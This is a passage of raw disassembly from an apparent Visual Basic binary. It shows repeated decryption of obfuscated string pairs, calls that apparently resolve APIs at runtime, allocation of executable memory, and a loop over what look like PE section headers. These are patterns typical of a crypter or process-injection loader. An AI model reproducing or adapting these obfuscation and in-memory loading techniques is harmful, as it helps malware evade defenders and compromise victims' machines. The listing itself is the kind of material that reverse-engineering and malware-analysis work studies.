		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_314]
		call	__vbaStrMove
		mov	edx, offset aGvnl8kkrchi9 ; "GvNL8kKrcHI9"
		lea	ecx, [ebp+var_308]
		call	__vbaStrCopy
		mov	edx, offset aBfb598a9f4593e ; "BFB598A9F4593E69704C8F680D4B5B08AE69C3C"...
		lea	ecx, [ebp+var_304]
		call	__vbaStrCopy
		lea	eax, [ebp+var_308]
		push	eax
		lea	eax, [ebp+var_304]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_318]
		call	__vbaStrMove
		push	esi
		push	1
		push	1
		push	esi
		lea	eax, [ebp+var_32C]
		push	eax
		push	10h
		push	880h
		call	__vbaRedim
		add	esp, 1Ch
		push	esi
		push	[ebp+var_32C]
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_338], eax
		mov	[ebp+var_340], 4003h
		lea	ebx, [ebp+var_340]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarZero
		push	1
		push	[ebp+var_32C]
		lea	eax, [ebp+var_26C]
		mov	[ebp+var_348], eax
		mov	[ebp+var_350], 4003h
		lea	ebx, [ebp+var_350]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarZero
		mov	edx, [ebp+var_318]
		lea	ecx, [ebp+var_310]
		mov	[ebp+var_318], esi
		call	__vbaStrMove
		mov	edx, [ebp+var_314]
		lea	ecx, [ebp+var_30C]
		mov	[ebp+var_314], esi
		call	__vbaStrMove
		lea	eax, [ebp+var_32C]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		call	sub_408D64
		mov	[ebp+var_3D4], eax
		lea	eax, [ebp+var_32C]
		push	eax
		push	esi
		call	__vbaErase
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		lea	eax, [ebp+var_308]
		push	eax
		xor	ebx, ebx
		cmp	[ebp+var_3D4], esi
		lea	eax, [ebp+var_304]
		push	eax
		setnz	bl
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		push	8
		neg	ebx
		call	__vbaFreeStrList
		add	esp, 24h
		cmp	bx, si
		jnz	loc_40B25A


loc_40B01D:				; CODE XREF: sub_4097F2+F2Fj
		mov	edx, offset a1loxb3vm6p	; "1LoxB3vm6P"
		lea	ecx, [ebp+var_300]
		call	__vbaStrCopy
		mov	edx, offset aAe30e614b1c8fe ; "AE30E614B1C8FE51FE66CD45"
		lea	ecx, [ebp+var_2FC]
		call	__vbaStrCopy
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_314]
		call	__vbaStrMove
		mov	edx, offset aP0yzvoux ;	"P0yzvoux"
		lea	ecx, [ebp+var_308]
		call	__vbaStrCopy
		mov	edx, offset a92929c96d0df8b ; "92929C96D0DF8BEA994F86F36A6B"
		lea	ecx, [ebp+var_304]
		call	__vbaStrCopy
		lea	eax, [ebp+var_308]
		push	eax
		lea	eax, [ebp+var_304]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_318]
		call	__vbaStrMove
		push	esi
		push	4
		push	1
		push	esi
		lea	eax, [ebp+var_32C]
		push	eax
		push	10h
		push	880h
		call	__vbaRedim
		add	esp, 1Ch
		push	esi
		push	[ebp+var_32C]
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_338], eax
		mov	[ebp+var_340], 4003h
		lea	ebx, [ebp+var_340]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarZero
		push	1
		push	[ebp+var_32C]
		lea	eax, [ebp+var_15C]
		mov	[ebp+var_348], eax
		mov	[ebp+var_350], 4003h
		lea	ebx, [ebp+var_350]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarZero
		push	2
		push	[ebp+var_32C]
		lea	eax, [ebp+var_140]
		mov	[ebp+var_358], eax
		mov	[ebp+var_360], 4003h
		lea	ebx, [ebp+var_360]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarZero
		push	edi
		push	[ebp+var_32C]
		mov	[ebp+var_368], 3000h
		mov	[ebp+var_370], edi
		lea	ebx, [ebp+var_370]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		mov	[ebp+var_378], 40h
		mov	[ebp+var_380], edi
		lea	ebx, [ebp+var_380]
		push	4
		push	[ebp+var_32C]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		mov	edx, [ebp+var_318]
		lea	ecx, [ebp+var_310]
		mov	[ebp+var_318], esi
		call	__vbaStrMove
		mov	edx, [ebp+var_314]
		lea	ecx, [ebp+var_30C]
		mov	[ebp+var_314], esi
		call	__vbaStrMove
		lea	eax, [ebp+var_32C]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		call	sub_408D64
		mov	[ebp+var_3D4], eax
		lea	eax, [ebp+var_32C]
		push	eax
		push	esi
		call	__vbaErase
		mov	eax, [ebp+var_3D4]
		mov	[ebp+var_270], eax
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		lea	eax, [ebp+var_308]
		push	eax
		lea	eax, [ebp+var_304]
		push	eax
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		push	8
		call	__vbaFreeStrList
		add	esp, 24h
		cmp	[ebp+var_270], esi
		jnz	loc_40B529


loc_40B25A:				; CODE XREF: sub_4097F2+B47j
					; sub_4097F2+D7Dj ...
		or	[ebp+var_19C], 0FFFFFFFFh
		mov	edx, offset a3amlz9t0w1034c ; "3aMlZ9T0w1034c2"
		lea	ecx, [ebp+var_300]
		call	__vbaStrCopy
		mov	edx, offset a1b61374817aace ; "1B61374817AACE4C"
		lea	ecx, [ebp+var_2FC]
		call	__vbaStrCopy
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_314]
		call	__vbaStrMove
		mov	edx, offset a1au3sqsh ;	"1aU3sQSH"
		lea	ecx, [ebp+var_308]
		call	__vbaStrCopy
		mov	edx, offset a89c0cc81f97763 ; "89C0CC81F9776335DD1FEF"
		lea	ecx, [ebp+var_304]
		call	__vbaStrCopy
		lea	eax, [ebp+var_308]
		push	eax
		lea	eax, [ebp+var_304]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_318]
		call	__vbaStrMove
		push	esi
		push	esi
		push	1
		push	esi
		lea	eax, [ebp+var_32C]
		push	eax
		push	10h
		mov	edi, 880h
		push	edi
		call	__vbaRedim
		add	esp, 1Ch
		push	esi
		push	[ebp+var_32C]
		lea	eax, [ebp+var_2C0]
		mov	[ebp+var_338], eax
		mov	[ebp+var_340], 4003h
		lea	ebx, [ebp+var_340]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarZero
		mov	edx, [ebp+var_318]
		lea	ecx, [ebp+var_310]
		mov	[ebp+var_318], esi
		call	__vbaStrMove
		mov	edx, [ebp+var_314]
		lea	ecx, [ebp+var_30C]
		mov	[ebp+var_314], esi
		call	__vbaStrMove
		lea	eax, [ebp+var_32C]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		call	sub_408D64
		lea	eax, [ebp+var_32C]
		push	eax
		push	esi
		call	__vbaErase
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		lea	eax, [ebp+var_308]
		push	eax
		lea	eax, [ebp+var_304]
		push	eax
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		push	8
		call	__vbaFreeStrList
		add	esp, 24h
		mov	edx, offset a8ehqudo1 ;	"8EhquDo1"
		lea	ecx, [ebp+var_300]
		call	__vbaStrCopy
		mov	edx, offset a008531098ea886 ; "008531098EA8863B"
		lea	ecx, [ebp+var_2FC]
		call	__vbaStrCopy
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_314]
		call	__vbaStrMove
		mov	edx, offset aSl93hjyrxhef4e ; "sL93HJYRXHEf4ek"
		lea	ecx, [ebp+var_308]
		call	__vbaStrCopy
		mov	edx, offset a4c92994641507d ; "4C92994641507DBED217B9"
		lea	ecx, [ebp+var_304]
		call	__vbaStrCopy
		lea	eax, [ebp+var_308]
		push	eax
		lea	eax, [ebp+var_304]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_318]
		call	__vbaStrMove
		push	esi
		push	esi
		push	1
		push	esi
		lea	eax, [ebp+var_32C]
		push	eax
		push	10h
		push	edi
		call	__vbaRedim
		add	esp, 1Ch
		push	esi
		push	[ebp+var_32C]
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_338], eax
		mov	[ebp+var_340], 4003h
		lea	edi, [ebp+var_340]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, edi
		call	__vbaVarZero
		mov	edx, [ebp+var_318]
		lea	ecx, [ebp+var_310]
		mov	[ebp+var_318], esi
		call	__vbaStrMove
		mov	edx, [ebp+var_314]
		lea	ecx, [ebp+var_30C]
		mov	[ebp+var_314], esi
		call	__vbaStrMove
		lea	eax, [ebp+var_32C]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		call	sub_408D64
		lea	eax, [ebp+var_32C]
		push	eax
		push	esi
		call	__vbaErase
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		lea	eax, [ebp+var_308]
		push	eax
		lea	eax, [ebp+var_304]
		push	eax
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		push	8
		call	__vbaFreeStrList
		add	esp, 24h
		jmp	loc_40C010
; ---------------------------------------------------------------------------


loc_40B529:				; CODE XREF: sub_4097F2+1A62j
		mov	edx, offset a90r8my61b5ojq ; "90r8My61B5ojq"
		lea	ecx, [ebp+var_300]
		call	__vbaStrCopy
		mov	edx, offset a70f95929ec7810 ; "70F95929EC78109CCEC1B6B9"
		lea	ecx, [ebp+var_2FC]
		call	__vbaStrCopy
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_314]
		call	__vbaStrMove
		mov	edx, offset aL5l4b46u6kxi23 ; "l5l4B46u6kxI23xp"
		lea	ecx, [ebp+var_308]
		call	__vbaStrCopy
		mov	edx, offset a2dd20b24a4f87a ; "2DD20B24A4F87A5A90D61A02F05DEE8876C0"
		lea	ecx, [ebp+var_304]
		call	__vbaStrCopy
		lea	eax, [ebp+var_308]
		push	eax
		lea	eax, [ebp+var_304]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_318]
		call	__vbaStrMove
		push	esi
		push	4
		push	1
		push	esi
		lea	eax, [ebp+var_32C]
		push	eax
		push	10h
		push	880h
		call	__vbaRedim
		add	esp, 1Ch
		push	esi
		push	[ebp+var_32C]
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_338], eax
		mov	[ebp+var_340], 4003h
		lea	ebx, [ebp+var_340]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarZero
		push	1
		push	[ebp+var_32C]
		lea	eax, [ebp+var_270]
		mov	[ebp+var_348], eax
		mov	[ebp+var_350], 4003h
		lea	ebx, [ebp+var_350]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarZero
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_2F8]
		push	eax
		call	__vbaAryLock
		push	esi
		push	[ebp+var_2F8]
		call	__vbaDerefAry1
		push	eax
		call	VarPtr
		mov	[ebp+var_3D4], eax
		lea	eax, [ebp+var_2F8]
		push	eax
		call	__vbaAryUnlock
		mov	eax, [ebp+var_3D4]
		push	2
		push	[ebp+var_32C]
		mov	[ebp+var_358], eax
		mov	[ebp+var_360], edi
		lea	ebx, [ebp+var_360]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		push	edi
		push	[ebp+var_32C]
		lea	eax, [ebp+var_13C]
		mov	[ebp+var_368], eax
		mov	[ebp+var_370], 4003h
		lea	ebx, [ebp+var_370]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarZero
		lea	eax, [ebp+var_98]
		push	eax
		call	VarPtr
		push	4
		push	[ebp+var_32C]
		mov	[ebp+var_378], eax
		mov	[ebp+var_380], edi
		lea	ebx, [ebp+var_380]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		mov	edx, [ebp+var_318]
		lea	ecx, [ebp+var_310]
		mov	[ebp+var_318], esi
		call	__vbaStrMove
		mov	edx, [ebp+var_314]
		lea	ecx, [ebp+var_30C]
		mov	[ebp+var_314], esi
		call	__vbaStrMove
		lea	eax, [ebp+var_32C]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		call	sub_408D64
		lea	eax, [ebp+var_32C]
		push	eax
		push	esi
		call	__vbaErase
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		lea	eax, [ebp+var_308]
		push	eax
		lea	eax, [ebp+var_304]
		push	eax
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		push	8
		call	__vbaFreeStrList
		mov	ebx, [ebp+var_48]
		mov	ax, [ebp+var_18A]
		add	esp, 24h
		add	ebx, 0F8h
		jo	loc_40C0F9
		sub	ax, 1
		jo	loc_40C0F9
		movsx	eax, ax
		mov	[ebp+var_18], ebx
		mov	[ebp+var_40C], eax
		mov	[ebp+var_1C], esi


loc_40B7B6:				; CODE XREF: sub_4097F2+22C8j
		mov	eax, [ebp+var_40C]
		cmp	[ebp+var_1C], eax
		jg	loc_40BABF
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_2F8]
		push	eax
		call	__vbaAryLock
		mov	eax, [ebp+var_1C]
		imul	eax, 28h
		jo	loc_40C0F9
		push	28h
		add	eax, ebx
		jo	loc_40C0F9
		push	eax
		push	[ebp+var_2F8]
		call	__vbaDerefAry1
		push	eax
		lea	eax, [ebp+var_2F4]
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		mov	ebx, offset a0	; "^0"
		push	ebx
		call	__vbaRecUniToAnsi
		push	eax
		call	sub_401BEC
		call	__vbaSetSystemError
		lea	eax, [ebp+var_404]
		push	eax
		lea	eax, [ebp+var_2F4]
		push	eax
		push	ebx
		call	__vbaRecAnsiToUni
		lea	eax, [ebp+var_2F8]
		push	eax
		call	__vbaAryUnlock
		mov	edx, offset a7xgj7euaylj8 ; "7XGJ7EuaYLj8"
		lea	ecx, [ebp+var_300]
		call	__vbaStrCopy
		mov	edx, offset a698e1f9adee36a ; "698E1F9ADEE36A15EE162CFF"
		lea	ecx, [ebp+var_2FC]
		call	__vbaStrCopy
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_314]
		call	__vbaStrMove
		mov	edx, offset a952587vcua0z7z ; "952587VcUA0Z7zq5"
		lea	ecx, [ebp+var_308]
		call	__vbaStrCopy
		mov	edx, offset aFfdee7b15a6722 ; "FFDEE7B15A672287D21FFAF10290BBD9C90F"
		lea	ecx, [ebp+var_304]
		call	__vbaStrCopy
		lea	eax, [ebp+var_308]
		push	eax
		lea	eax, [ebp+var_304]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_318]
		call	__vbaStrMove
		push	esi
		push	4
		push	1
		push	esi
		lea	eax, [ebp+var_32C]
		push	eax
		push	10h
		push	880h
		call	__vbaRedim
		add	esp, 1Ch
		push	esi
		push	[ebp+var_32C]
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_338], eax
		mov	[ebp+var_340], 4003h
		lea	ebx, [ebp+var_340]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarZero
		mov	eax, [ebp+var_2E0]
		add	eax, [ebp+var_270]
		push	1
		push	[ebp+var_32C]
		jo	loc_40C0F9
		mov	[ebp+var_348], eax
		mov	[ebp+var_350], edi
		lea	ebx, [ebp+var_350]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_2F8]
		push	eax
		call	__vbaAryLock
		push	[ebp+var_2D8]
		push	[ebp+var_2F8]
		call	__vbaDerefAry1
		push	eax
		call	VarPtr
		mov	[ebp+var_3D4], eax
		lea	eax, [ebp+var_2F8]
		push	eax
		call	__vbaAryUnlock
		mov	eax, [ebp+var_3D4]
		push	2
		push	[ebp+var_32C]
		mov	[ebp+var_358], eax
		mov	[ebp+var_360], edi
		lea	ebx, [ebp+var_360]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		push	edi
		push	[ebp+var_32C]
		lea	eax, [ebp+var_2DC]
		mov	[ebp+var_368], eax
		mov	[ebp+var_370], 4003h
		lea	ebx, [ebp+var_370]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarZero
		lea	eax, [ebp+var_98]
		push	eax
		call	VarPtr
		push	4
		push	[ebp+var_32C]
		mov	[ebp+var_378], eax
		mov	[ebp+var_380], edi
		lea	ebx, [ebp+var_380]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		mov	edx, [ebp+var_318]
		lea	ecx, [ebp+var_310]
		mov	[ebp+var_318], esi
		call	__vbaStrMove
		mov	edx, [ebp+var_314]
		lea	ecx, [ebp+var_30C]
		mov	[ebp+var_314], esi
		call	__vbaStrMove
		lea	eax, [ebp+var_32C]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		call	sub_408D64
		lea	eax, [ebp+var_32C]
		push	eax
		push	esi
		call	__vbaErase
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		lea	eax, [ebp+var_308]
		push	eax
		lea	eax, [ebp+var_304]
		push	eax
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		push	8
		call	__vbaFreeStrList
		mov	ebx, [ebp+var_18]
		add	esp, 24h
		push	1
		pop	eax
		add	eax, [ebp+var_1C]
		jo	loc_40C0F9
		mov	[ebp+var_1C], eax
		jmp	loc_40B7B6
; ---------------------------------------------------------------------------


loc_40BABF:				; CODE XREF: sub_4097F2+1FCDj
		mov	edx, offset aSz8czos0mw3ztl ; "sZ8Czos0mw3ztlFE"
		lea	ecx, [ebp+var_300]
		call	__vbaStrCopy
		mov	edx, offset aF05010ce27d129 ; "F05010CE27D129751F94D931"
		lea	ecx, [ebp+var_2FC]
		call	__vbaStrCopy
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_314]
		call	__vbaStrMove
		mov	edx, offset a8p8fcw4cbk	; "8P8FCw4CbK"
		lea	ecx, [ebp+var_308]
		call	__vbaStrCopy
		mov	edx, offset aB87d22bf4ee52c ; "B87D22BF4EE52C87A326A9593645E0300A2D"
		lea	ecx, [ebp+var_304]
		call	__vbaStrCopy
		lea	eax, [ebp+var_308]
		push	eax
		lea	eax, [ebp+var_304]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_318]
		call	__vbaStrMove
		push	esi
		push	4
		push	1
		push	esi
		lea	eax, [ebp+var_32C]
		push	eax
		push	10h
		push	880h
		call	__vbaRedim
		add	esp, 1Ch
		push	esi
		push	[ebp+var_32C]
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_338], eax
		mov	[ebp+var_340], 4003h
		lea	ebx, [ebp+var_340]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarZero
		mov	eax, [ebp+var_1C4]
		push	1
		push	[ebp+var_32C]
		add	eax, 8
		jo	loc_40C0F9
		mov	[ebp+var_348], eax
		mov	[ebp+var_350], edi
		lea	ebx, [ebp+var_350]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		lea	eax, [ebp+var_270]
		push	eax
		call	VarPtr
		push	2
		push	[ebp+var_32C]
		mov	[ebp+var_358], eax
		mov	[ebp+var_360], edi
		lea	ebx, [ebp+var_360]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		push	edi
		push	[ebp+var_32C]
		mov	[ebp+var_368], 4
		mov	[ebp+var_370], 2
		lea	ebx, [ebp+var_370]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		lea	eax, [ebp+var_98]
		push	eax
		call	VarPtr
		push	4
		push	[ebp+var_32C]
		mov	[ebp+var_378], eax
		mov	[ebp+var_380], edi
		lea	ebx, [ebp+var_380]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		mov	edx, [ebp+var_318]
		lea	ecx, [ebp+var_310]
		mov	[ebp+var_318], esi
		call	__vbaStrMove
		mov	edx, [ebp+var_314]
		lea	ecx, [ebp+var_30C]
		mov	[ebp+var_314], esi
		call	__vbaStrMove
		lea	eax, [ebp+var_32C]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		call	sub_408D64
		lea	eax, [ebp+var_32C]
		push	eax
		push	esi
		call	__vbaErase
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		lea	eax, [ebp+var_308]
		push	eax
		lea	eax, [ebp+var_304]
		push	eax
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		push	8
		call	__vbaFreeStrList
		mov	eax, [ebp+var_168]
		add	esp, 24h
		add	eax, [ebp+var_270]
		mov	edx, offset aRe1qpk4n ;	"re1QPk4n"
		jo	loc_40C0F9
		lea	ecx, [ebp+var_300]
		mov	[ebp+var_1B8], eax
		call	__vbaStrCopy
		mov	edx, offset aFfc119ac0690c0 ; "FFC119AC0690C02D3DE1CECD"
		lea	ecx, [ebp+var_2FC]
		call	__vbaStrCopy
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_314]
		call	__vbaStrMove
		mov	edx, offset a219m11mb0it99o ; "219M11mB0IT99o2"
		lea	ecx, [ebp+var_308]
		call	__vbaStrCopy
		mov	edx, offset aFf7fc63c75ef87 ; "FF7FC63C75EF870384E5BCFA2B9BACFC"
		lea	ecx, [ebp+var_304]
		call	__vbaStrCopy
		lea	eax, [ebp+var_308]
		push	eax
		lea	eax, [ebp+var_304]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_318]
		call	__vbaStrMove
		push	esi
		push	1
		push	1
		push	esi
		lea	eax, [ebp+var_32C]
		push	eax
		push	10h
		push	880h
		call	__vbaRedim
		add	esp, 1Ch
		push	esi
		push	[ebp+var_32C]
		lea	eax, [ebp+var_2C0]
		mov	[ebp+var_338], eax
		mov	[ebp+var_340], 4003h
		lea	ebx, [ebp+var_340]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarZero
		lea	eax, [ebp+var_268]
		push	eax
		call	VarPtr
		push	1
		push	[ebp+var_32C]
		mov	[ebp+var_350], edi
		mov	[ebp+var_348], eax
		lea	edi, [ebp+var_350]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, edi
		call	__vbaVarMove
		mov	edx, [ebp+var_318]
		lea	ecx, [ebp+var_310]
		mov	[ebp+var_318], esi
		call	__vbaStrMove
		mov	edx, [ebp+var_314]
		lea	ecx, [ebp+var_30C]
		mov	[ebp+var_314], esi
		call	__vbaStrMove
		lea	eax, [ebp+var_32C]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		call	sub_408D64
		lea	eax, [ebp+var_32C]
		push	eax
		push	esi
		call	__vbaErase
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		lea	eax, [ebp+var_308]
		push	eax
		lea	eax, [ebp+var_304]
		push	eax
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		push	8
		call	__vbaFreeStrList
		add	esp, 24h
		mov	edx, offset aV92lu28b9m1y ; "v92lU28B9m1y"
		lea	ecx, [ebp+var_300]
		call	__vbaStrCopy
		mov	edx, offset a2f5e1f435a5c54 ; "2F5E1F435A5C54D8C195BCEB"
		lea	ecx, [ebp+var_2FC]
		call	__vbaStrCopy
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_314]
		call	__vbaStrMove
		mov	edx, offset a329121fufk	; "329121FuFK"
		lea	ecx, [ebp+var_308]
		call	__vbaStrCopy
		mov	edx, offset aD1d880b3c75824 ; "D1D880B3C758248D52E299B2"
		lea	ecx, [ebp+var_304]
		call	__vbaStrCopy
		lea	eax, [ebp+var_308]
		push	eax
		lea	eax, [ebp+var_304]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_318]
		call	__vbaStrMove
		push	esi
		push	esi
		push	1
		push	esi
		lea	eax, [ebp+var_32C]
		push	eax
		push	10h
		push	880h
		call	__vbaRedim
		add	esp, 1Ch
		push	esi
		push	[ebp+var_32C]
		lea	eax, [ebp+var_2C0]
		mov	[ebp+var_338], eax
		mov	[ebp+var_340], 4003h
		lea	edi, [ebp+var_340]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, edi
		call	__vbaVarZero
		mov	edx, [ebp+var_318]
		lea	ecx, [ebp+var_310]
		mov	[ebp+var_318], esi
		call	__vbaStrMove
		mov	edx, [ebp+var_314]
		lea	ecx, [ebp+var_30C]
		mov	[ebp+var_314], esi
		call	__vbaStrMove
		lea	eax, [ebp+var_32C]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		call	sub_408D64
		lea	eax, [ebp+var_32C]
		push	eax
		push	esi
		call	__vbaErase
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		lea	eax, [ebp+var_308]
		push	eax
		lea	eax, [ebp+var_304]
		push	eax
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		push	8
		call	__vbaFreeStrList
		mov	eax, [ebp+var_2BC]
		add	esp, 24h
		mov	[ebp+var_19C], eax


loc_40C010:				; CODE XREF: sub_4097F2+98Aj
					; sub_4097F2+128Bj ...
		push	offset loc_40C0E2
		jmp	short loc_40C08D
; ---------------------------------------------------------------------------


loc_40C017:				; DATA XREF: .text:004011FCo
		lea	eax, [ebp+var_2F8]
		push	eax
		call	__vbaAryUnlock
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		lea	eax, [ebp+var_308]
		push	eax
		lea	eax, [ebp+var_304]
		push	eax
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		push	8
		call	__vbaFreeStrList
		add	esp, 24h
		lea	ecx, [ebp+var_328]
		call	__vbaFreeVar
		lea	eax, [ebp+var_32C]
		push	eax
		xor	esi, esi
		push	esi
		call	__vbaAryDestruct
		lea	eax, [ebp+var_330]
		push	eax
		push	esi
		call	__vbaAryDestruct
		retn
; ---------------------------------------------------------------------------


loc_40C08D:				; CODE XREF: sub_4097F2+2823j
					; DATA XREF: .text:004011F8o
		lea	eax, [ebp+var_14]
		push	eax
		xor	esi, esi
